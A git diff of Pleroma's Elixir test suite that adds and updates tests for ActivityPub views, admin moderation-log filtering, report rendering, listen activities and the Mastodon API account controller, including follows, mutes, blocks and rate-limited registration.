--git a/test/web/activity_pub/views/user_view_test.exs b/test/web/activity_pub/views/user_view_test.exs index 2b4a04afd..3155749aa 100644 --- a/test/web/activity_pub/views/user_view_test.exs +++ b/test/web/activity_pub/views/user_view_test.exs @@ -37,6 +37,22 @@ test "Renders profile fields" do } = UserView.render("user.json", %{user: user}) end + test "Renders with emoji tags" do + user = insert(:user, %{info: %{emoji: [%{"bib" => "/test"}]}}) + + assert %{ + "tag" => [ + %{ + "icon" => %{"type" => "Image", "url" => "/test"}, + "id" => "/test", + "name" => ":bib:", + "type" => "Emoji", + "updated" => "1970-01-01T00:00:00Z" + } + ] + } = UserView.render("user.json", %{user: user}) + end + test "Does not add an avatar image if the user hasn't set one" do user = insert(:user) {:ok, user} = User.ensure_keys_present(user) @@ -142,4 +158,35 @@ test "sets correct totalItems when follows are hidden but the follow counter is assert %{"totalItems" => 1} = UserView.render("following.json", %{user: user}) end end + + test "activity collection page aginates correctly" do + user = insert(:user) + + posts = + for i <- 0..25 do + {:ok, activity} = CommonAPI.post(user, %{"status" => "post #{i}"}) + activity + end + + # outbox sorts chronologically, newest first, with ten per page + posts = Enum.reverse(posts) + + %{"next" => next_url} = + UserView.render("activity_collection_page.json", %{ + iri: "#{user.ap_id}/outbox", + activities: Enum.take(posts, 10) + }) + + next_id = Enum.at(posts, 9).id + assert next_url =~ next_id + + %{"next" => next_url} = + UserView.render("activity_collection_page.json", %{ + iri: "#{user.ap_id}/outbox", + activities: Enum.take(Enum.drop(posts, 10), 10) + }) + + next_id = Enum.at(posts, 19).id + assert next_url =~ next_id + end end diff --git a/test/web/admin_api/admin_api_controller_test.exs b/test/web/admin_api/admin_api_controller_test.exs index 108143f6a..b5c355e66 100644 --- a/test/web/admin_api/admin_api_controller_test.exs +++ b/test/web/admin_api/admin_api_controller_test.exs @@ -4,11 +4,13 @@ defmodule Pleroma.Web.AdminAPI.AdminAPIControllerTest do use Pleroma.Web.ConnCase + use Oban.Testing, repo: Pleroma.Repo alias Pleroma.Activity alias Pleroma.HTML alias Pleroma.ModerationLog alias Pleroma.Repo + alias Pleroma.Tests.ObanHelpers alias Pleroma.User alias Pleroma.UserInviteToken alias Pleroma.Web.CommonAPI @@ -584,7 +586,9 @@ test "/api/pleroma/admin/users/:nickname/password_reset" do |> put_req_header("accept", "application/json") |> get("/api/pleroma/admin/users/#{user.nickname}/password_reset") - assert conn.status == 200 + resp = json_response(conn, 200) + + assert Regex.match?(~r/(http:\/\/|https:\/\/)/, resp["link"]) end describe "GET /api/pleroma/admin/users" do @@ -2253,8 +2257,9 @@ test "returns private statuses with godmode on", %{conn: conn, user: user} do describe "GET /api/pleroma/admin/moderation_log" do setup %{conn: conn} do admin = insert(:user, info: %{is_admin: true}) + moderator = insert(:user, info: %{is_moderator: true}) - %{conn: assign(conn, :user, admin), admin: admin} + %{conn: assign(conn, :user, admin), admin: admin, moderator: moderator} end test "returns the log", %{conn: conn, admin: admin} do @@ -2287,9 +2292,9 @@ test "returns the log", %{conn: conn, admin: admin} do conn = get(conn, "/api/pleroma/admin/moderation_log") response = json_response(conn, 200) - [first_entry, second_entry] = response + [first_entry, second_entry] = response["items"] - assert response |> length() == 2 + assert response["total"] == 2 assert first_entry["data"]["action"] == "relay_unfollow" assert first_entry["message"] == @@ -2331,9 +2336,10 @@ test "returns the log with pagination", %{conn: conn, admin: admin} do conn1 = get(conn, "/api/pleroma/admin/moderation_log?page_size=1&page=1") response1 = json_response(conn1, 200) - [first_entry] = response1 + [first_entry] = response1["items"] - assert response1 |> length() == 1 + assert response1["total"] == 2 + assert response1["items"] |> length() == 1 assert first_entry["data"]["action"] == "relay_unfollow" assert first_entry["message"] == @@ -2342,14 +2348,143 @@ test "returns the log with pagination", %{conn: conn, admin: admin} do conn2 = get(conn, "/api/pleroma/admin/moderation_log?page_size=1&page=2") response2 = json_response(conn2, 200) - [second_entry] = response2 + [second_entry] = response2["items"] - assert response2 |> length() == 1 + assert response2["total"] == 2 + assert response2["items"] |> length() == 1 assert second_entry["data"]["action"] == "relay_follow" assert second_entry["message"] == "@#{admin.nickname} followed relay: https://example.org/relay" end + + test "filters log by date", %{conn: conn, admin: admin} do + first_date = "2017-08-15T15:47:06Z" + second_date = "2017-08-20T15:47:06Z" + + Repo.insert(%ModerationLog{ + data: %{ + actor: %{ + "id" => admin.id, + "nickname" => admin.nickname, + "type" => "user" + }, + action: "relay_follow", + target: "https://example.org/relay" + }, + inserted_at: NaiveDateTime.from_iso8601!(first_date) + }) + + Repo.insert(%ModerationLog{ + data: %{ + actor: %{ + "id" => admin.id, + "nickname" => admin.nickname, + "type" => "user" + }, + action: "relay_unfollow", + target: "https://example.org/relay" + }, + inserted_at: NaiveDateTime.from_iso8601!(second_date) + }) + + conn1 = + get( + conn, + "/api/pleroma/admin/moderation_log?start_date=#{second_date}" + ) + + response1 = json_response(conn1, 200) + [first_entry] = response1["items"] + + assert response1["total"] == 1 + assert first_entry["data"]["action"] == "relay_unfollow" + + assert first_entry["message"] == + "@#{admin.nickname} unfollowed relay: https://example.org/relay" + end + + test "returns log filtered by user", %{conn: conn, admin: admin, moderator: moderator} do + Repo.insert(%ModerationLog{ + data: %{ + actor: %{ + "id" => admin.id, + "nickname" => admin.nickname, + "type" => "user" + }, + action: "relay_follow", + target: "https://example.org/relay" + } + }) + + Repo.insert(%ModerationLog{ + data: %{ + actor: %{ + "id" => moderator.id, + "nickname" => moderator.nickname, + "type" => "user" + }, + action: "relay_unfollow", + target: "https://example.org/relay" + } + }) + + conn1 = get(conn, "/api/pleroma/admin/moderation_log?user_id=#{moderator.id}") + + response1 = json_response(conn1, 200) + [first_entry] = response1["items"] + + assert response1["total"] == 1 + assert get_in(first_entry, ["data", "actor", "id"]) == moderator.id + end + + test "returns log filtered by search", %{conn: conn, moderator: moderator} do + ModerationLog.insert_log(%{ + actor: moderator, + action: "relay_follow", + target: "https://example.org/relay" + }) + + ModerationLog.insert_log(%{ + actor: moderator, + action: "relay_unfollow", + target: "https://example.org/relay" + }) + + conn1 = get(conn, "/api/pleroma/admin/moderation_log?search=unfo") + + response1 = json_response(conn1, 200) + [first_entry] = response1["items"] + + assert response1["total"] == 1 + + assert get_in(first_entry, ["data", "message"]) == + "@#{moderator.nickname} unfollowed relay: https://example.org/relay" + end + end + + describe "PATCH /users/:nickname/force_password_reset" do + setup %{conn: conn} do + admin = insert(:user, info: %{is_admin: true}) + user = insert(:user) + + %{conn: assign(conn, :user, admin), admin: admin, user: user} + end + + test "sets password_reset_pending to true", %{admin: admin, user: user} do + assert user.info.password_reset_pending == false + + conn = + build_conn() + |> assign(:user, admin) + |> patch("/api/pleroma/admin/users/#{user.nickname}/force_password_reset") + + assert json_response(conn, 204) == "" + + ObanHelpers.perform_all() + + assert User.get_by_id(user.id).info.password_reset_pending == true + end end end diff --git a/test/web/admin_api/views/report_view_test.exs b/test/web/admin_api/views/report_view_test.exs index a00c9c579..475705857 100644 --- a/test/web/admin_api/views/report_view_test.exs +++ b/test/web/admin_api/views/report_view_test.exs @@ -5,6 +5,7 @@ defmodule Pleroma.Web.AdminAPI.ReportViewTest do use Pleroma.DataCase import Pleroma.Factory + alias Pleroma.Web.AdminAPI.Report alias Pleroma.Web.AdminAPI.ReportView alias Pleroma.Web.CommonAPI alias Pleroma.Web.MastodonAPI.AccountView @@ -20,12 +21,12 @@ test "renders a report" do content: nil, actor: Map.merge( - AccountView.render("account.json", %{user: user}), + AccountView.render("show.json", %{user: user}), Pleroma.Web.AdminAPI.AccountView.render("show.json", %{user: user}) ), account: Map.merge( - AccountView.render("account.json", %{user: other_user}), + AccountView.render("show.json", %{user: other_user}), Pleroma.Web.AdminAPI.AccountView.render("show.json", %{user: other_user}) ), statuses: [], @@ -34,7 +35,7 @@ test "renders a report" do } result = - ReportView.render("show.json", %{report: activity}) + ReportView.render("show.json", Report.extract_report_info(activity)) |> Map.delete(:created_at) assert result == expected @@ -52,21 +53,21 @@ test "includes reported statuses" do content: nil, actor: Map.merge( - AccountView.render("account.json", %{user: user}), + AccountView.render("show.json", %{user: user}), Pleroma.Web.AdminAPI.AccountView.render("show.json", %{user: user}) ), account: Map.merge( - AccountView.render("account.json", %{user: other_user}), + AccountView.render("show.json", %{user: other_user}), Pleroma.Web.AdminAPI.AccountView.render("show.json", %{user: other_user}) ), - statuses: [StatusView.render("status.json", %{activity: activity})], + statuses: [StatusView.render("show.json", %{activity: activity})], state: "open", id: report_activity.id } result = - ReportView.render("show.json", %{report: report_activity}) + ReportView.render("show.json", Report.extract_report_info(report_activity)) |> Map.delete(:created_at) assert result == expected @@ -78,7 +79,9 @@ test "renders report's state" do {:ok, activity} = CommonAPI.report(user, %{"account_id" => other_user.id}) {:ok, activity} = CommonAPI.update_report_state(activity.id, "closed") - assert %{state: "closed"} = ReportView.render("show.json", %{report: activity}) + + assert %{state: "closed"} = + ReportView.render("show.json", Report.extract_report_info(activity)) end test "renders report description" do @@ -92,7 +95,7 @@ test "renders report description" do }) assert %{content: "posts are too good for this instance"} = - ReportView.render("show.json", %{report: activity}) + ReportView.render("show.json", Report.extract_report_info(activity)) end test "sanitizes report description" do @@ -109,7 +112,7 @@ test "sanitizes report description" do activity = Map.put(activity, :data, data) refute "" == - ReportView.render("show.json", %{report: activity})[:content] + ReportView.render("show.json", Report.extract_report_info(activity))[:content] end test "doesn't error out when the user doesn't exists" do @@ -125,6 +128,6 @@ test "doesn't error out when the user doesn't exists" do Pleroma.User.delete(other_user) Pleroma.User.invalidate_cache(other_user) - assert %{} = ReportView.render("show.json", %{report: activity}) + assert %{} = ReportView.render("show.json", Report.extract_report_info(activity)) end end diff --git a/test/web/common_api/common_api_test.exs b/test/web/common_api/common_api_test.exs index f28a66090..0f4a5eb25 100644 --- a/test/web/common_api/common_api_test.exs +++ b/test/web/common_api/common_api_test.exs @@ -510,4 +510,43 @@ test "does not allow to vote twice" do assert {:error, "Already voted"} == CommonAPI.vote(other_user, object, [1]) end end + + describe "listen/2" do + test "returns a valid activity" do + user = insert(:user) + + {:ok, activity} = + CommonAPI.listen(user, %{ + "title" => "lain radio episode 1", + "album" => "lain radio", + "artist" => "lain", + "length" => 180_000 + }) + + object = Object.normalize(activity) + + assert object.data["title"] == "lain radio episode 1" + + assert Visibility.get_visibility(activity) == "public" + end + + test "respects visibility=private" do + user = insert(:user) + + {:ok, activity} = + CommonAPI.listen(user, %{ + "title" => "lain radio episode 1", + "album" => "lain radio", + "artist" => "lain", + "length" => 180_000, + "visibility" => "private" + }) + + object = Object.normalize(activity) + + assert object.data["title"] == "lain radio episode 1" + + assert Visibility.get_visibility(activity) == "private" + end + end end diff --git a/test/web/common_api/common_api_utils_test.exs b/test/web/common_api/common_api_utils_test.exs index 230146451..2588898d0 100644 --- a/test/web/common_api/common_api_utils_test.exs +++ b/test/web/common_api/common_api_utils_test.exs @@ -157,11 +157,11 @@ test "works for text/markdown with mentions" do text = "**hello world**\n\n*another @user__test and @user__test google.com paragraph*" expected = - "

hello world

\n

another hello world

\n

another @user__test and @user__test and @user__test google.com paragraph

\n" + }" class="u-url mention" href="http://foo.com/user__test" rel="ugc">@user__test google.com paragraph

\n) {output, _, _} = Utils.format_input(text, "text/markdown") diff --git a/test/web/mastodon_api/controllers/mastodon_api_controller/update_credentials_test.exs b/test/web/mastodon_api/controllers/account_controller/update_credentials_test.exs similarity index 96% rename from test/web/mastodon_api/controllers/mastodon_api_controller/update_credentials_test.exs rename to test/web/mastodon_api/controllers/account_controller/update_credentials_test.exs index 99d534348..f6c9f5028 100644 --- a/test/web/mastodon_api/controllers/mastodon_api_controller/update_credentials_test.exs +++ b/test/web/mastodon_api/controllers/account_controller/update_credentials_test.exs @@ -86,10 +86,9 @@ test "updates the user's bio", %{conn: conn} do assert user = json_response(conn, 200) assert user["note"] == - ~s(I drink with @) <> user2.nickname <> ~s() + ~s(I drink #cofe with @#{user2.nickname}) end test "updates the user's locking status", %{conn: conn} do @@ -335,7 +334,7 @@ test "update fields", %{conn: conn} do assert account["fields"] == [ %{"name" => "foo", "value" => "bar"}, - %{"name" => "link", "value" => "cofe.io"} + %{"name" => "link", "value" => ~S(cofe.io)} ] assert account["source"]["fields"] == [ diff --git a/test/web/mastodon_api/controllers/account_controller_test.exs b/test/web/mastodon_api/controllers/account_controller_test.exs new file mode 100644 index 000000000..8c8017838 --- /dev/null +++ b/test/web/mastodon_api/controllers/account_controller_test.exs @@ -0,0 +1,852 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2019 Pleroma Authors +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Pleroma.Web.MastodonAPI.AccountControllerTest do + use Pleroma.Web.ConnCase + + alias Pleroma.Repo + alias Pleroma.User + alias Pleroma.Web.ActivityPub.ActivityPub + alias Pleroma.Web.CommonAPI + alias Pleroma.Web.OAuth.Token + + import Pleroma.Factory + + describe "account fetching" do + test "works by id" do + user = insert(:user) + + conn = + build_conn() + |> get("/api/v1/accounts/#{user.id}") + + assert %{"id" => id} = json_response(conn, 200) + assert id == to_string(user.id) + + conn = + build_conn() + |> get("/api/v1/accounts/-1") + + assert %{"error" => "Can't find user"} = json_response(conn, 404) + end + + test "works by nickname" do + user = insert(:user) + + conn = + build_conn() + |> get("/api/v1/accounts/#{user.nickname}") + + assert %{"id" => id} = json_response(conn, 200) + assert id == user.id + end + + test "works by nickname for remote users" do + limit_to_local = Pleroma.Config.get([:instance, :limit_to_local_content]) + Pleroma.Config.put([:instance, :limit_to_local_content], false) + user = insert(:user, nickname: "user@example.com", local: false) + + conn = + build_conn() + |> get("/api/v1/accounts/#{user.nickname}") + + Pleroma.Config.put([:instance, :limit_to_local_content], limit_to_local) + assert %{"id" => id} = json_response(conn, 200) + assert id == user.id + end + + test "respects limit_to_local_content == :all for remote user nicknames" do + limit_to_local = Pleroma.Config.get([:instance, :limit_to_local_content]) + Pleroma.Config.put([:instance, :limit_to_local_content], :all) + + user = insert(:user, nickname: "user@example.com", local: false) + + conn = + build_conn() + |> get("/api/v1/accounts/#{user.nickname}") + + Pleroma.Config.put([:instance, :limit_to_local_content], limit_to_local) + assert json_response(conn, 404) + end + + test "respects limit_to_local_content == :unauthenticated for remote user nicknames" do + limit_to_local = Pleroma.Config.get([:instance, :limit_to_local_content]) + Pleroma.Config.put([:instance, :limit_to_local_content], :unauthenticated) + + user = insert(:user, nickname: "user@example.com", local: false) + reading_user = insert(:user) + + conn = + build_conn() + |> get("/api/v1/accounts/#{user.nickname}") + + assert json_response(conn, 404) + + conn = + build_conn() + |> assign(:user, reading_user) + |> get("/api/v1/accounts/#{user.nickname}") + + Pleroma.Config.put([:instance, :limit_to_local_content], limit_to_local) + assert %{"id" => id} = json_response(conn, 200) + assert id == user.id + end + + test "accounts fetches correct account for nicknames beginning with numbers", %{conn: conn} do + # Need to set an old-style integer ID to reproduce the problem + # (these are no longer assigned to new accounts but were preserved + # for existing accounts during the migration to flakeIDs) + user_one = insert(:user, %{id: 1212}) + user_two = insert(:user, %{nickname: "#{user_one.id}garbage"}) + + resp_one = + conn + |> get("/api/v1/accounts/#{user_one.id}") + + resp_two = + conn + |> get("/api/v1/accounts/#{user_two.nickname}") + + resp_three = + conn + |> get("/api/v1/accounts/#{user_two.id}") + + acc_one = json_response(resp_one, 200) + acc_two = json_response(resp_two, 200) + acc_three = json_response(resp_three, 200) + refute acc_one == acc_two + assert acc_two == acc_three + end + end + + describe "user timelines" do + test "gets a users statuses", %{conn: conn} do + user_one = insert(:user) + user_two = insert(:user) + user_three = insert(:user) + + {:ok, user_three} = User.follow(user_three, user_one) + + {:ok, activity} = CommonAPI.post(user_one, %{"status" => "HI!!!"}) + + {:ok, direct_activity} = + CommonAPI.post(user_one, %{ + "status" => "Hi, @#{user_two.nickname}.", + "visibility" => "direct" + }) + + {:ok, private_activity} = + CommonAPI.post(user_one, %{"status" => "private", "visibility" => "private"}) + + resp = + conn + |> get("/api/v1/accounts/#{user_one.id}/statuses") + + assert [%{"id" => id}] = json_response(resp, 200) + assert id == to_string(activity.id) + + resp = + conn + |> assign(:user, user_two) + |> get("/api/v1/accounts/#{user_one.id}/statuses") + + assert [%{"id" => id_one}, %{"id" => id_two}] = json_response(resp, 200) + assert id_one == to_string(direct_activity.id) + assert id_two == to_string(activity.id) + + resp = + conn + |> assign(:user, user_three) + |> get("/api/v1/accounts/#{user_one.id}/statuses") + + assert [%{"id" => id_one}, %{"id" => id_two}] = json_response(resp, 200) + assert id_one == to_string(private_activity.id) + assert id_two == to_string(activity.id) + end + + test "unimplemented pinned statuses feature", %{conn: conn} do + note = insert(:note_activity) + user = User.get_cached_by_ap_id(note.data["actor"]) + + conn = + conn + |> get("/api/v1/accounts/#{user.id}/statuses?pinned=true") + + assert json_response(conn, 200) == [] + end + + test "gets an users media", %{conn: conn} do + note = insert(:note_activity) + user = User.get_cached_by_ap_id(note.data["actor"]) + + file = %Plug.Upload{ + content_type: "image/jpg", + path: Path.absname("test/fixtures/image.jpg"), + filename: "an_image.jpg" + } + + {:ok, %{id: media_id}} = ActivityPub.upload(file, actor: user.ap_id) + + {:ok, image_post} = CommonAPI.post(user, %{"status" => "cofe", "media_ids" => [media_id]}) + + conn = + conn + |> get("/api/v1/accounts/#{user.id}/statuses", %{"only_media" => "true"}) + + assert [%{"id" => id}] = json_response(conn, 200) + assert id == to_string(image_post.id) + + conn = + build_conn() + |> get("/api/v1/accounts/#{user.id}/statuses", %{"only_media" => "1"}) + + assert [%{"id" => id}] = json_response(conn, 200) + assert id == to_string(image_post.id) + end + + test "gets a user's statuses without reblogs", %{conn: conn} do + user = insert(:user) + {:ok, post} = CommonAPI.post(user, %{"status" => "HI!!!"}) + {:ok, _, _} = CommonAPI.repeat(post.id, user) + + conn = + conn + |> get("/api/v1/accounts/#{user.id}/statuses", %{"exclude_reblogs" => "true"}) + + assert [%{"id" => id}] = json_response(conn, 200) + assert id == to_string(post.id) + + conn = + conn + |> get("/api/v1/accounts/#{user.id}/statuses", %{"exclude_reblogs" => "1"}) + + assert [%{"id" => id}] = json_response(conn, 200) + assert id == to_string(post.id) + end + + test "filters user's statuses by a hashtag", %{conn: conn} do + user = insert(:user) + {:ok, post} = CommonAPI.post(user, %{"status" => "#hashtag"}) + {:ok, _post} = CommonAPI.post(user, %{"status" => "hashtag"}) + + conn = + conn + |> get("/api/v1/accounts/#{user.id}/statuses", %{"tagged" => "hashtag"}) + + assert [%{"id" => id}] = json_response(conn, 200) + assert id == to_string(post.id) + end + end + + describe "followers" do + test "getting followers", %{conn: conn} do + user = insert(:user) + other_user = insert(:user) + {:ok, user} = User.follow(user, other_user) + + conn = + conn + |> get("/api/v1/accounts/#{other_user.id}/followers") + + assert [%{"id" => id}] = json_response(conn, 200) + assert id == to_string(user.id) + end + + test "getting followers, hide_followers", %{conn: conn} do + user = insert(:user) + other_user = insert(:user, %{info: %{hide_followers: true}}) + {:ok, _user} = User.follow(user, other_user) + + conn = + conn + |> get("/api/v1/accounts/#{other_user.id}/followers") + + assert [] == json_response(conn, 200) + end + + test "getting followers, hide_followers, same user requesting", %{conn: conn} do + user = insert(:user) + other_user = insert(:user, %{info: %{hide_followers: true}}) + {:ok, _user} = User.follow(user, other_user) + + conn = + conn + |> assign(:user, other_user) + |> get("/api/v1/accounts/#{other_user.id}/followers") + + refute [] == json_response(conn, 200) + end + + test "getting followers, pagination", %{conn: conn} do + user = insert(:user) + follower1 = insert(:user) + follower2 = insert(:user) + follower3 = insert(:user) + {:ok, _} = User.follow(follower1, user) + {:ok, _} = User.follow(follower2, user) + {:ok, _} = User.follow(follower3, user) + + conn = + conn + |> assign(:user, user) + + res_conn = + conn + |> get("/api/v1/accounts/#{user.id}/followers?since_id=#{follower1.id}") + + assert [%{"id" => id3}, %{"id" => id2}] = json_response(res_conn, 200) + assert id3 == follower3.id + assert id2 == follower2.id + + res_conn = + conn + |> get("/api/v1/accounts/#{user.id}/followers?max_id=#{follower3.id}") + + assert [%{"id" => id2}, %{"id" => id1}] = json_response(res_conn, 200) + assert id2 == follower2.id + assert id1 == follower1.id + + res_conn = + conn + |> get("/api/v1/accounts/#{user.id}/followers?limit=1&max_id=#{follower3.id}") + + assert [%{"id" => id2}] = json_response(res_conn, 200) + assert id2 == follower2.id + + assert [link_header] = get_resp_header(res_conn, "link") + assert link_header =~ ~r/min_id=#{follower2.id}/ + assert link_header =~ ~r/max_id=#{follower2.id}/ + end + end + + describe "following" do + test "getting following", %{conn: conn} do + user = insert(:user) + other_user = insert(:user) + {:ok, user} = User.follow(user, other_user) + + conn = + conn + |> get("/api/v1/accounts/#{user.id}/following") + + assert [%{"id" => id}] = json_response(conn, 200) + assert id == to_string(other_user.id) + end + + test "getting following, hide_follows", %{conn: conn} do + user = insert(:user, %{info: %{hide_follows: true}}) + other_user = insert(:user) + {:ok, user} = User.follow(user, other_user) + + conn = + conn + |> get("/api/v1/accounts/#{user.id}/following") + + assert [] == json_response(conn, 200) + end + + test "getting following, hide_follows, same user requesting", %{conn: conn} do + user = insert(:user, %{info: %{hide_follows: true}}) + other_user = insert(:user) + {:ok, user} = User.follow(user, other_user) + + conn = + conn + |> assign(:user, user) + |> get("/api/v1/accounts/#{user.id}/following") + + refute [] == json_response(conn, 200) + end + + test "getting following, pagination", %{conn: conn} do + user = insert(:user) + following1 = insert(:user) + following2 = insert(:user) + following3 = insert(:user) + {:ok, _} = User.follow(user, following1) + {:ok, _} = User.follow(user, following2) + {:ok, _} = User.follow(user, following3) + + conn = + conn + |> assign(:user, user) + + res_conn = + conn + |> get("/api/v1/accounts/#{user.id}/following?since_id=#{following1.id}") + + assert [%{"id" => id3}, %{"id" => id2}] = json_response(res_conn, 200) + assert id3 == following3.id + assert id2 == following2.id + + res_conn = + conn + |> get("/api/v1/accounts/#{user.id}/following?max_id=#{following3.id}") + + assert [%{"id" => id2}, %{"id" => id1}] = json_response(res_conn, 200) + assert id2 == following2.id + assert id1 == following1.id + + res_conn = + conn + |> get("/api/v1/accounts/#{user.id}/following?limit=1&max_id=#{following3.id}") + + assert [%{"id" => id2}] = json_response(res_conn, 200) + assert id2 == following2.id + + assert [link_header] = get_resp_header(res_conn, "link") + assert link_header =~ ~r/min_id=#{following2.id}/ + assert link_header =~ ~r/max_id=#{following2.id}/ + end + end + + describe "follow/unfollow" do + test "following / unfollowing a user", %{conn: conn} do + user = insert(:user) + other_user = insert(:user) + + conn = + conn + |> assign(:user, user) + |> post("/api/v1/accounts/#{other_user.id}/follow") + + assert %{"id" => _id, "following" => true} = json_response(conn, 200) + + user = User.get_cached_by_id(user.id) + + conn = + build_conn() + |> assign(:user, user) + |> post("/api/v1/accounts/#{other_user.id}/unfollow") + + assert %{"id" => _id, "following" => false} = json_response(conn, 200) + + user = User.get_cached_by_id(user.id) + + conn = + build_conn() + |> assign(:user, user) + |> post("/api/v1/follows", %{"uri" => other_user.nickname}) + + assert %{"id" => id} = json_response(conn, 200) + assert id == to_string(other_user.id) + end + + test "following without reblogs" do + follower = insert(:user) + followed = insert(:user) + other_user = insert(:user) + + conn = + build_conn() + |> assign(:user, follower) + |> post("/api/v1/accounts/#{followed.id}/follow?reblogs=false") + + assert %{"showing_reblogs" => false} = json_response(conn, 200) + + {:ok, activity} = CommonAPI.post(other_user, %{"status" => "hey"}) + {:ok, reblog, _} = CommonAPI.repeat(activity.id, followed) + + conn = + build_conn() + |> assign(:user, User.get_cached_by_id(follower.id)) + |> get("/api/v1/timelines/home") + + assert [] == json_response(conn, 200) + + conn = + build_conn() + |> assign(:user, follower) + |> post("/api/v1/accounts/#{followed.id}/follow?reblogs=true") + + assert %{"showing_reblogs" => true} = json_response(conn, 200) + + conn = + build_conn() + |> assign(:user, User.get_cached_by_id(follower.id)) + |> get("/api/v1/timelines/home") + + expected_activity_id = reblog.id + assert [%{"id" => ^expected_activity_id}] = json_response(conn, 200) + end + + test "following / unfollowing errors" do + user = insert(:user) + + conn = + build_conn() + |> assign(:user, user) + + # self follow + conn_res = post(conn, "/api/v1/accounts/#{user.id}/follow") + assert %{"error" => "Record not found"} = json_response(conn_res, 404) + + # self unfollow + user = User.get_cached_by_id(user.id) + conn_res = post(conn, "/api/v1/accounts/#{user.id}/unfollow") + assert %{"error" => "Record not found"} = json_response(conn_res, 404) + + # self follow via uri + user = User.get_cached_by_id(user.id) + conn_res = post(conn, "/api/v1/follows", %{"uri" => user.nickname}) + assert %{"error" => "Record not found"} = json_response(conn_res, 404) + + # follow non existing user + conn_res = post(conn, "/api/v1/accounts/doesntexist/follow") + assert %{"error" => "Record not found"} = json_response(conn_res, 404) + + # follow non existing user via uri + conn_res = post(conn, "/api/v1/follows", %{"uri" => "doesntexist"}) + assert %{"error" => "Record not found"} = json_response(conn_res, 404) + + # unfollow non existing user + conn_res = post(conn, "/api/v1/accounts/doesntexist/unfollow") + assert %{"error" => "Record not found"} = json_response(conn_res, 404) + end + end + + describe "mute/unmute" do + test "with notifications", %{conn: conn} do + user = insert(:user) + other_user = insert(:user) + + conn = + conn + |> assign(:user, user) + |> post("/api/v1/accounts/#{other_user.id}/mute") + + response = json_response(conn, 200) + + assert %{"id" => _id, "muting" => true, "muting_notifications" => true} = response + user = User.get_cached_by_id(user.id) + + conn = + build_conn() + |> assign(:user, user) + |> post("/api/v1/accounts/#{other_user.id}/unmute") + + response = json_response(conn, 200) + assert %{"id" => _id, "muting" => false, "muting_notifications" => false} = response + end + + test "without notifications", %{conn: conn} do + user = insert(:user) + other_user = insert(:user) + + conn = + conn + |> assign(:user, user) + |> post("/api/v1/accounts/#{other_user.id}/mute", %{"notifications" => "false"}) + + response = json_response(conn, 200) + + assert %{"id" => _id, "muting" => true, "muting_notifications" => false} = response + user = User.get_cached_by_id(user.id) + + conn = + build_conn() + |> assign(:user, user) + |> post("/api/v1/accounts/#{other_user.id}/unmute") + + response = json_response(conn, 200) + assert %{"id" => _id, "muting" => false, "muting_notifications" => false} = response + end + end + + describe "pinned statuses" do + setup do + user = insert(:user) + {:ok, activity} = CommonAPI.post(user, %{"status" => "HI!!!"}) + + [user: user, activity: activity] + end + + test "returns pinned statuses", %{conn: conn, user: user, activity: activity} do + {:ok, _} = CommonAPI.pin(activity.id, user) + + result = + conn + |> assign(:user, user) + |> get("/api/v1/accounts/#{user.id}/statuses?pinned=true") + |> json_response(200) + + id_str = to_string(activity.id) + + assert [%{"id" => ^id_str, "pinned" => true}] = result + end + end + + test "blocking / unblocking a user", %{conn: conn} do + user = insert(:user) + other_user = insert(:user) + + conn = + conn + |> assign(:user, user) + |> post("/api/v1/accounts/#{other_user.id}/block") + + assert %{"id" => _id, "blocking" => true} = json_response(conn, 200) + + user = User.get_cached_by_id(user.id) + + conn = + build_conn() + |> assign(:user, user) + |> post("/api/v1/accounts/#{other_user.id}/unblock") + + assert %{"id" => _id, "blocking" => false} = json_response(conn, 200) + end + + describe "create account by app" do + setup do + valid_params = %{ + username: "lain", + email: "lain@example.org", + password: "PlzDontHackLain", + agreement: true + } + + [valid_params: valid_params] + end + + test "Account registration via Application", %{conn: conn} do + conn = + conn + |> post("/api/v1/apps", %{ + client_name: "client_name", + redirect_uris: "urn:ietf:wg:oauth:2.0:oob", + scopes: "read, write, follow" + }) + + %{ + "client_id" => client_id, + "client_secret" => client_secret, + "id" => _, + "name" => "client_name", + "redirect_uri" => "urn:ietf:wg:oauth:2.0:oob", + "vapid_key" => _, + "website" => nil + } = json_response(conn, 200) + + conn = + conn + |> post("/oauth/token", %{ + grant_type: "client_credentials", + client_id: client_id, + client_secret: client_secret + }) + + assert %{"access_token" => token, "refresh_token" => refresh, "scope" => scope} = + json_response(conn, 200) + + assert token + token_from_db = Repo.get_by(Token, token: token) + assert token_from_db + assert refresh + assert scope == "read write follow" + + conn = + build_conn() + |> put_req_header("authorization", "Bearer " <> token) + |> post("/api/v1/accounts", %{ + username: "lain", + email: "lain@example.org", + password: "PlzDontHackLain", + bio: "Test Bio", + agreement: true + }) + + %{ + "access_token" => token, + "created_at" => _created_at, + "scope" => _scope, + "token_type" => "Bearer" + } = json_response(conn, 200) + + token_from_db = Repo.get_by(Token, token: token) + assert token_from_db + token_from_db = Repo.preload(token_from_db, :user) + assert token_from_db.user + + assert token_from_db.user.info.confirmation_pending + end + + test "returns error when user already registred", %{conn: conn, valid_params: valid_params} do + _user = insert(:user, email: "lain@example.org") + app_token = insert(:oauth_token, user: nil) + + conn = + conn + |> put_req_header("authorization", "Bearer " <> app_token.token) + + res = post(conn, "/api/v1/accounts", valid_params) + assert json_response(res, 400) == %{"error" => "{\"email\":[\"has already been taken\"]}"} + end + + test "rate limit", %{conn: conn} do + app_token = insert(:oauth_token, user: nil) + + conn = + put_req_header(conn, "authorization", "Bearer " <> app_token.token) + |> Map.put(:remote_ip, {15, 15, 15, 15}) + + for i <- 1..5 do + conn = + conn + |> post("/api/v1/accounts", %{ + username: "#{i}lain", + email: "#{i}lain@example.org", + password: "PlzDontHackLain", + agreement: true + }) + + %{ + "access_token" => token, + "created_at" => _created_at, + "scope" => _scope, + "token_type" => "Bearer" + } = json_response(conn, 200) + + token_from_db = Repo.get_by(Token, token: token) + assert token_from_db + token_from_db = Repo.preload(token_from_db, :user) + assert token_from_db.user + + assert token_from_db.user.info.confirmation_pending + end + + conn = + conn + |> post("/api/v1/accounts", %{ + username: "6lain", + email: "6lain@example.org", + password: "PlzDontHackLain", + agreement: true + }) + + assert json_response(conn, :too_many_requests) == %{"error" => "Throttled"} + end + + test "returns bad_request if missing required params", %{ + conn: conn, + valid_params: valid_params + } do + app_token = insert(:oauth_token, user: nil) + + conn = + conn + |> put_req_header("authorization", "Bearer " <> app_token.token) + + res = post(conn, "/api/v1/accounts", valid_params) + assert json_response(res, 200) + + [{127, 0, 0, 1}, {127, 0, 